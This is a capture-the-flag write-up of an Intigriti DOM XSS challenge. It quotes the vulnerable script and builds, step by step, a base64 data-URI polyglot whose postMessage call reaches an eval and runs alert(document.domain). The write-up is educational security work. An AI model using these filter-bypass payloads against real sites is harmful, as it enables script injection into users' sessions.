Spoiler alert: this is a write-up for the XSS challenge that you can find on Intigriti. If you haven’t done it yet and may want to in the future, you definitely don’t want to read this right now.
As I utterly failed the last CTF ran by Intigriti, when I came across this tweet I thought it was time to prove to myself I could do it.
CHALLENGE: Can you find the XSS? 🧐 Earn a Burp License, cool swag & private invites! 👉https://t.co/EehqBfFmjA pic.twitter.com/sq8FIYgQOH
— intigriti (@intigriti) April 29, 2019
I’m not exactly fond of Javascript or an expert in any way, but this time I beat the challenge!
And I’ll show you the pain and frustration that went into it :D
So looking at the source of the challenge, we can see that there seems to be nothing going on with the HTML and that it’s probably a DOM XSS.
<!-- challenge -->
<script>
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
</script>
<!-- challenge -->
It constructs a new URL from the fragment part of the URL we use to access the challenge. Strings like script
, <
and >
are filtered out and replaced by forbidden
.
Next it opens a iframe
using the new URL and adds an onload
listener that adds an onmessage
listener when the iframe
has loaded. The onmessage
listener runs executeCtx()
.
I’ll get back to that part later because I got confused a bit there. Just know that message
is an event that can be triggered by a postMessage()
call from another window/tab.
As for the executeCtx()
function, it checks that the source of the event is the same window as the one the iframe
is loaded in.
If it’s the case it adds a location
property to the event data with the current location. It merges the data event object onto the window object.
And then it runs eval()
on the URL generated at the first step.
So we can speculate that we need to reach that eval()
call with a payload containing some form of alert(document.domain)
.
The first thing was to run executeCtx()
and get to eval()
. I initially thought that the onload
listener was added to the iframe
and then that inside the listener function window
was referring to the iframe
itself. I spinned up a web server with a small index.html
with the following content in order to load it in the iframe
:
<html>
<head>
<title>MyFrame</title>
</head>
<body>
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function poc() {
await sleep(2000);
window.postMessage('test', '*');
}
poc();
</script>
</body>
</html>
I spent some time debugging and wondering why executeCtx
was never run.
So I read up on iframe
, onload
and postMessage
and found out that iframe.onload
defines an onload
listener on the iframe
object in the original window.
What was happening was in fact the reverse of what I was thinking…
I just changed my poc()
function to:
async function poc() {
await sleep(2000);
parent.postMessage('test', '*');
}
And sure enough, executeCtx()
was triggered.
But now I was stuck on the event source comparison: e.source
was a Window
object and iframe.contentWindow
a global
object.
Having no idea which way to go I tried to solve another part of the problem: how to make eval()
run my code.
My first thought was that I’d need a URL that can be both a valid URL and valid Javascript. And I thought I already had it because I came across something similar to pull off an XSS on my first bug bounty submission. I also found this blog post that confirmed it looked like a good idea.
But it involved alternative newline characters and, although I spent a lot of time trying to get one past the new URL()
call, I didn’t manage to.
Searching some more, I used the polyglot
term instead of just eval
, js
and url
, and came across a GitHub repository where the first example was just what I needed:
#JS/URL polyglot"
data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}
If we look at it like an URI we can see:
- a scheme:
data:
- a media-type:
text/html
- what is supposed to be the base64 indicator:
;alert(1)/*
- a separator:
,
- data itself:
<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}
Then as a Javascript:
- a label:
data:
- a statement:
text/html;
- another statement with a comment:
alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;
- yet another statement:
alert(2);
- 2 function declarations:
function%20text(){};function%20html(){}
When that URI is loaded in a browser, it will render the following HTML:
<svg onload=eval(unescape(location))>
<title>*/;alert(2);function%20text(){};function%20html(){}
The onload
attribute of the svg
element will trigger and run eval()
on an unescaped version of the data URI itself.
The 2 function declarations will be evaluated before any code is executed so the text/html;
statement is evaluated as 0/0;
and is valid.
Then both alert()
calls are executed.
You can try it by yourself but check the URL before clicking it if you don’t trust me :)
So where did I go with that?
I had a string that can be both a valid URI and valid Javascript. But as it was, it wouldn’t pass the filter unarmed because of the <
and >
characters.
I went back to the specs of a data URI and noticed that the data itself could be base64 encoded. Base64 doesn’t use any forbidden character, therefore it would pass the filter.
I changed the payload to display document.domain
and simplified it a bit to:
data:text/html;alert(document.domain)/*,<svg%20onload=eval(unescape(location))><title>*/;function%20text(){};function%20html(){}
And used base64:
data:text/html;alert(document.domain);//;base64,PHN2ZyUyMG9ubG9hZD1ldmFsKHVuZXNjYXBlKGxvY2F0aW9uKSk+PHRpdGxlPiovO2Z1bmN0aW9uJTIwdGV4dCgpe307ZnVuY3Rpb24lMjBodG1sKCl7fS8v
Notice that I also had to change /*,
to ;//;base64,
This is how I went about it:
- original:
data:text/html;alert(1)/*,<svg%20on...
- display
document.domain
:data:text/html;alert(document.domain)/*,<svg%20on...
- add the base64 indicator:
data:text/html;alert(document.domain)/*;base64,<svg%20on...
- convert the payload to base64:
data:text/html;alert(document.domain)/*;base64,PHN2Z...
- add a Javascript statement terminator because we’re missing it now as it was in the payload:
data:text/html;alert(document.domain);/*;base64,PHN2Z...
- change the comment from
/*
to//
as it wasn’t executing the payload:data:text/html;alert(document.domain);//;base64,PHN2Z...
That time it passed the filter. Now I needed to make the iframe
it created to call back to its parent window with postMessage
. I changed the data to:
<script>parent.postMessage("test","*");</script>
The data URI became:
data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2UoInRlc3QiLCIqIik7PC9zY3JpcHQ+
It ran the executeCtx()
function and entered the conditional.
But it failed on Object.assign(window, e.data);
because e.data
was not an object.
I fixed that:
<script>parent.postMessage({},"*");</script>
The data URI became:
data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2Uoe30sIioiKTs8L3NjcmlwdD4=
It reached the eval()
but errored because of Uncaught ReferenceError: text is not defined
.
That’s what the 2 function declarations in the initial polyglot data URI were for: to make the text/html;
statement valid.
In my case, I couldn’t use that trick because it would be evaluated in the iframe
while eval()
ran in the parent window. But using that Object.assign()
call, I could set any properties on window
. And that’s the way global variables are set in Javascript.
That was my last iteration and the final payload ended up being:
<script>parent.postMessage({text:0,html:0},"*");</script>
The data URI became:
data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2Uoe3RleHQ6MCxodG1sOjB9LCIqIik7PC9zY3JpcHQ+
If you want to check for yourself: just click here, no funny business :)
As I said, it was a hard challenge for me and I’m real proud to have beaten it. I worked the whole evening on that and, as you’ve probably guessed, a lot of it was spent reading up about Javascript. In the end, I learned a lot about it and I’m more comfortable with it now. I’m in fact eager to take on the next challenge!
Now the cherry on the cake would be to be picked and win the prize :)
Some take-aways from this, as usual:
- Read the specs/documentation, they are the closest thing we have to the truth about things work. Even if you think you understand how it works RTFM.
- Level-up your research skills, that can make the difference between hours spent on Google and finding that one gem that may help you out.